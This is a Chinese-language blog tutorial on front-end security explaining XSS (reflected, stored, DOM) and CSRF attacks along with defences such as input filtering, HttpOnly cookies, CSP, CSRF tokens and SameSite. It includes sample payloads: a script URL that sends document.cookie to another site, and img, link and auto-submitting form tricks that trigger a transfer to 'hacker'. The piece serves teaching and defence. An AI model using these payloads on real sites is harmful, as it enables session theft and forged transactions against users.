浏览器系列 -- 前端安全

304 阅读3分钟

XSS 跨站脚本漏洞

XSS 攻击原理

  1. 用户登录产生 cookie;
  2. 让被攻击网站运行恶意 JavaScript 代码进行获取并带参跳转到黑客的网站;
// 前端获取cookie
console.log(document.cookie)
// 前端获取localstorage、sessionstorage
console.log(window.localstorage/sessionstorage.getItem("key"))
// 页面传参窃取信息
window.open("www.xxx.com?param="+document.cookie)

XSS 分类(不同手段让浏览器执行代码)

反射型 XSS的【后端解析URL的恶意代码返回给浏览器执行】

  1. 黑客构造出包含恶意代码的 URL,并将携带恶意代码的 URL 发给别人
  2. 用户打开带有恶意代码的 URL 时,【网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器】
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行,用户的cookie被窃取

举例: —— 利用【JS 读取 cookie 的方式】 + 【跨文档传参的方式】

这是一个携带恶意代码的 URL:

http://www.a.com?content=<script>window.open("www.b.com?param="+document.cookie)</script>

其中恶意代码是参数 content 的值,即一个 <script>标签及其里面的代码

用户想要访问的是http://www.a.com,并且用户在网站 a 中已经处于登录状态,这时浏览器会自动直接打开网站 b,并将用户在网站 a 的 cookie 传送给网站 b ,用户的信息就这样被窃取了

存储型 XSS【黑客写博客】

  1. 黑客写包含有恶意代码的博客或者留言
  2. 该段恶意代码会存储到了服务端的数据库
  3. 用户访问到该博客或者留言时页面渲染会执行该段恶意代码并被窃取信息

这是一种影响范围广且影响深远的攻击方式,所以得提早解决

DOM 型 XSS【前端JS直接执行恶意代码】

DOM 型 XSS其实是一种特殊类型的反射型 XSS,只不过会绕过服务端,直接在浏览器进行攻击

利用 innerHTML

原理:利用前端 JavaScript 的对 DOM 的操作

image.png

image.png

此时如果输入的不是一个 <div> 标签,而是一个 <script> 标签

image.png

运行了恶意代码:

image.png

利用 location.hash

1. 正常访问是用#去实现页面跳转,而跳转部分即#后面的参数可控,黑客可以在#后面写【javascript:恶意代码】
2. 用户一访问携带恶意代码的URL,前端JavaScript就直接执行恶意代码

XSS 防范

1. 阻止恶意代码植入

服务端的防范

  • 对于反射型 XSS 攻击,很明显是在服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器这一步被利用了,所以我们应该在这一步做处理,利用一些算法对 URL 后面的参数做一些识别或过滤
  • 对于存储型 XSS 攻击,我们可以设置审核机制,对于所有用户上传的所有文章或评论的内容进行恶意代码的识别或过滤

前端的防范

  • 对于存储型 XSS 攻击,我们也可以从用户输入的内容做处理,比如掘金中,如果我们在文章直接输入<script><img>等是显示不出来的,必须要<加上 ` 字符> 或者<放在代码块中>才能显示出来
  • 对于反射型 XSS 攻击 和 DOM 型 XSS 攻击,我们也是从用户输入的内容上做处理,比如我们在一个 input 输入框中输入内容后点击提交,前端 JS 监听 submit 事件然后对用户输入的内容进行识别,要是发现有<script><img>等,将 不会提交表单操作 DOM 节点
具体实现:
  1. 针对输入字符串:对于子字符串<script><img>等进行过滤,注意大小写也要过滤掉
  2. 针对上传代码:使用代码块来放置,代码需要转化为字符串形式,然后渲染的时候使用<p><span>等非语义化的标签来渲染
  3. 针对上传图片:利用图片转存,用户上传图片后不是直接用图片的源地址,而是先转存到服务器中再给到图片地址
  4. 针对所有HTML标签:将innerHTML替换成innerText,即【将HTML标签解析为普通文本】,所以HTML标签不会被执行 oBox.innerText = oBox.innerHTML + oSpan.innerHTML + oText.value + <br/>;

image.png

2. 利用 cookie 本身属性

利用 Cookie 的 HttpOnly 属性【JS脚本不能读取cookie】

  • 浏览器禁止页面的 Javascript 访问带有 HttpOnly 属性的Cookie
  • 如果这个属性设置为true,就只有在 http 请求头中才会携带此 cookie 的信息,但不能通过document.cookie 来访问此 cookie,所以能有效的防止 XSS 攻击 值得注意的是:并不是cookie里的所有项的HTTPOnly都是true,而且document.cookie是直接获取所有HTTPOnly为false的项的,所以说明我们可以把一些重要的项如session_id的HTTPOnly设为true,一些不重要的项如用户昵称等就设为 false,这样既能保证我们前端操作 cookie(实现 记住账号 的功能),又能防止 XSS 攻击。

或者前端不操作 cookie,由后端操作 cookie

image.png

cookie 的详细内容见 浏览器系列 -- 本地存储

3. 利用 CSP(设置加载内容白名单,阻止外部资源加载)

  • 实质就是【白名单制度】
  • 开发者通过配置明确告诉客户端
  • 哪些外部资源可以加载和执行
举例:
<meta http-equiv="Content-Security-Policy" content="">
content="default-src 'self'"  只能是自己域名下的 (不包括其子域名)
content="default-src 'self' *.trusted.com"  来自信任的域名及其子域名
content="img-src *"  图片允许所有域名

CSRF 伪造身份请求

简单概述

借助 cookie 伪造身份进行请求

条件

CSRF攻击需要两个条件:

  1. 客户端必须一个网站并生成cookie凭证存储在浏览器中
  2. 该cookie没有清除,客户端又tab一个页面进行访问别的网站

CSRF 攻击原理

cookie+session作 登录态 的网站为例:

  1. 用户 C 打开浏览器,访问受信任网站 A,输入用户名和密码请求登录网站 A,登录成功后网站 A 会产生Cookie信息并返回给浏览器
  2. 用户 C 在同一浏览器里打开另一个 Tab 网页,即网站 B。此时网站 B 通过某种方式(下面会说)向网站 A 的服务器发起请求:a.com/act=xxx
  3. 浏览器看请求域名,然后会自动携带对应网站的cookie,此时用户C是处于登录状态,cookie将被携带同请求一起发出
同一个域名下的所有请求,都会自动携带 Cookie
  1. 网站 A 的服务器收到该请求,识别到HTTP报文请求头中的cookie里面的session_id字段,以为是由用户C发起的以C的权限处理该请求,导致用户C在数据库中对应的session遭到篡改(比如被删帖或被转账)

00.png

此处可联系到用户登录方式怎么做,详细见 浏览器系列 -- cookie、session、Token、JWT及对应的登录态机制

CSRF 攻击方式

黑客网站 B 会按照网站 A 对服务器的请求方式进行模仿

若网站 A 的转账操作是 GET 请求方式的话:

1. 自动 GET 请求【如图片】

游戏网站 A 的转账是采用 GET 方式进行操作的,样式如:

"http://test.com/csrf/withdraw.php?amount=10000&for=hacker"

这个时候网站 B 想要模仿这个请求简直太简单了,弄一个图片,其地址是上面那个地址就行,由于<img>标签自带 跨域 功能,所以能够实现在网站 B 向网站 A 的服务器发起请求,此时浏览器看请求域名自动携带 cookie,所以这个请求在网站 A 的服务器成功通过请求,用户 C 的财产被盗走

1. 利用<img>标签自带跨域功能,黑客发帖带有其他域的图片
    <img src="http://test.com/csrf/withdraw.php?amount=10000&for=hacker" />
2. 此时用户访问网站 B 时会自动发起该请求并携带当前在该浏览器登录时产生的cookie,因而被攻击

如果是 GET 请求方式转账的话,则还有另一种方法可以进行攻击:

2. 诱导点击发送 GET 请求【用户访问链接返回网站 A】

1. 在黑客的网站上,可能会放上一个链接,驱使你来点击
<a
  href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker"
  taget="_blank"
> 重磅消息!!</a>
2. 用户点击后,网站B自动对网站A发送 `get` 请求并携带该用户在浏览器登录时产生的cookie

若网站 A 的转账操作是 POST 请求方式的话:

3. 自动 POST 请求【用户访问表单】

后来游戏网站负责人认识到了有被攻击的漏洞,将转账操作由链接 GET 提交数据改成了表单 POST 提交数据

//提交数据表单
<form action="http://test.com/csrf/withdraw.php" method="POST">
  <input type="hidden" name="account" value="xiaoming" />
  <input type="hidden" name="amount" value="10000" />
  <input type="hidden" name="for" value="hacker" />
</form>
<?php
    session_start();
    if (isset($_POST['account'] && isset($_POST['vMoney']))  // 验证操作
    {
        //相应的转账操作
    }
 ?>

此时黑客根据游戏虚拟币转账表单进行伪造了一份一模一样的转账表单,写入网站 B,并设置【自动提交】功能

1. 利用<form>标签可以自动提交的功能,黑客发帖带有可以自动提交的<form>组件  
<form action="http://bank.example/withdraw" method="POST">
  <input type="hidden" name="account" value="xiaoming" />
  <input type="hidden" name="amount" value="10000" />
  <input type="hidden" name="for" value="hacker" />
</form>
<script>
  document.forms[0].submit(); // 自动提交
</script>
2. 此时用户访问帖子时会自动发起该请求并携带当前在该浏览器登录时产生的cookie,因而被攻击

CSRF 防范

1. 强制交互手段

网站收到请求时强制用户进行交互。如:手机验证码、指纹验证、人脸验证

  • 适用于涉及财产的重级攻击防御

但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案

2. 判断请求来源

根据 HTTP 请求头里的字段

  • 利用Origin字段看来源域名
  • 利用Referer字段看来源URL

服务器可以通过该字段看看是请求的来源,可以阻止那些Referrer头部不是来自你的页面的请求【返回状态码 403】

状态码相关见 计算机网络系列 -- 状态码

HTTP请求头相关见 计算机网络系列 -- HTTP

3. 表单中添加 token 验证【目前最常用的方式】

  1. 由于 token 是保存在自己的网站 A 的,想要冒用是不可能的,除非提前窃取(所以这种方式还是要做 XSS 攻击防范)。
  2. 所以如果在黑客的网站 B 中用户自动提交了表单,即对网站 A 发起了请求方式为 POST 的转账请求
  3. 此时虽然会携带 cookie,但是网站 A 会对这个表单进行拦截,然后在这个表单提取 token,如果提取不到或 token 无效,则表明这个请求很有可能是 CSRF 攻击,所以不通过此次请求,返回状态码 403

关于token的更多详细内容见 浏览器系列 -- cookie、session、Token、JWT及对应的登录态机制

4. 利用 Cookie 的 SameSite 属性

Strict [最严格]
Strict最为严格,完全`禁止第三方 Cookie`,跨站点时,`任何情况下`都不会发送 Cookie。
换言之,只有当前网页的 URL 与请求目标`一致`,才会带上 Cookie
Lax [稍放宽] 【默认值】
大多数情况也是不发送第三方 Cookie,但是导航到`目标网址的 Get 请求`除外

导航到目标网址的 GET 请求,只包括三种情况:链接预加载请求GET 表单

image.png

None [完全开启]
同站请求、跨站请求都会携带cookie了 意味着有可能会受到攻击

关于 Cookie 更多字段相关的 浏览器系列 -- 本地存储

参考文章

CSRF攻击与防御